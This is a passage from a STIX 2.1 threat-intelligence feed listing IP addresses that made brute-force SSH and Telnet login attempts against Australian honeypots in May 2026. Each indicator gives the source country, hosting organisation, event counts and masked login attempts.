      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--f77d85d7-b71b-4614-ba9b-79834f2e6d41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): p******s. Passwords observed (masked): z******x.",
      "id": "indicator--0f885a9c-7d4f-40b5-8513-115f05d3b928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.47.156.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55639. Organisation(s): Asia Web Service Ltd.",
      "id": "indicator--ebd770de-0f85-49d6-a3de-6e4e297dc937",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.15.28.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b07bda6f-57de-4f91-8e57-dd6e0e8239d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.204.1.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--8a987a68-23a6-42b1-8abf-69b4008ad91f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.252.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***. Passwords observed (masked): s****r.",
      "id": "indicator--12ae0f6f-4d8d-46c8-9cad-a82cfba2bf1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.245.180.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 393960. Organisation(s): Host4Geeks LLC.",
      "id": "indicator--94120fad-66a1-4915-a7e4-e61ca4d080b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.93.121.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--154ce359-a4d9-43a2-b731-c2c1cea572a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.159.224.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--eba448b1-dd26-4318-a470-ddb2d84a28d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.78.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR.",
      "id": "indicator--9fdc18a5-a7cc-42f3-8281-adaf9501b2fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.219.155.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264231. Organisation(s): RG.COM - INFORMATICA & COMUNICACAO LTDA - ME.",
      "id": "indicator--55620668-a115-4d2c-a7f9-014006e0659b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.109.75.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C..",
      "id": "indicator--9d6237e3-345b-48ef-851a-703320245ae8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.119.112.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--3d1973ab-7f98-49eb-9d95-6bd19d056884",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--b45bf46f-4e30-4ed1-87b5-8cbab7884b37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.70.122.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--e1fe3b3e-c4ac-4496-a9a3-af049a6eade0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.62.32.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--24d2fe46-dbe9-4449-9ee2-334973f884e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.199.106.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23033. Organisation(s): Wowrack.com.",
      "id": "indicator--a8fab8f1-c5c2-4ea2-8f10-07ff674b68b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.90.232.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--c6169446-b8fb-46aa-98e2-5254aa57b71d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.179.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 51267. Organisation(s): Interlink Comunicatii SRL. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--0011bffe-124c-4038-8740-a54d94885cac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.8.234.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--6322b473-397c-47f9-852c-3aa54b21ed93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '63.143.63.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--c2a12ca7-ff52-44eb-82ca-601f002cdb13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.99.193.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--7eb6bfc7-dfa0-47af-89e4-2125938e18df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.219.62.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:15:10.000Z",
      "valid_until": "2026-06-09T03:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--daed3429-50e4-4e9b-9717-c8c7a38660e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.108.74.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d2a580b0-993d-47aa-b7ec-bc69bd077d6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.248.82.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--2ffdfbc2-df6d-46cd-963b-6ba47469fb36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.175.141.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--f062cfc2-e94f-4f9e-9e66-048fdcd708dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.11.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cf45b918-2c82-4554-993b-1458706f95f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.119.69.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NZ. ASN(s): 4771. Organisation(s): Spark New Zealand Trading Ltd..",
      "id": "indicator--75414612-c121-47ca-9ae1-1e56ed760184",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.238.141.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--76a04613-81b3-4f52-8aef-2fb06033589d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.25.225.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--1e4732b2-11ce-42ec-86fd-71af02676d7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.25.230.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 6698. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--e3351581-217a-480b-b87e-b25179d51dc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.0.104.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--26e18192-ebf6-4a04-b718-3b41c794c616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.44.247.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--f11a9b3a-303f-4b7c-b994-4a9ed5e8f0eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.59.47.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63199. Organisation(s): CDS Global Cloud Co., Ltd.",
      "id": "indicator--97fa311b-c4c0-48f4-b1e4-4031c1fca280",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.153.121.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--825600e9-e444-40a2-8989-dd6ddafccbb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.87.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--d40dbf6a-322c-4db6-a90a-cc0b0826ab41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.236.82.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u, r**t, a***n, 3**********4, d****n. Passwords observed (masked): !****3, 1****3, 1**4, 1******@, 3***********4.",
      "id": "indicator--8e40ff95-164c-47e2-b12c-a9eae8bd165d",
      "labels": [
        "bruteforce"
      ],
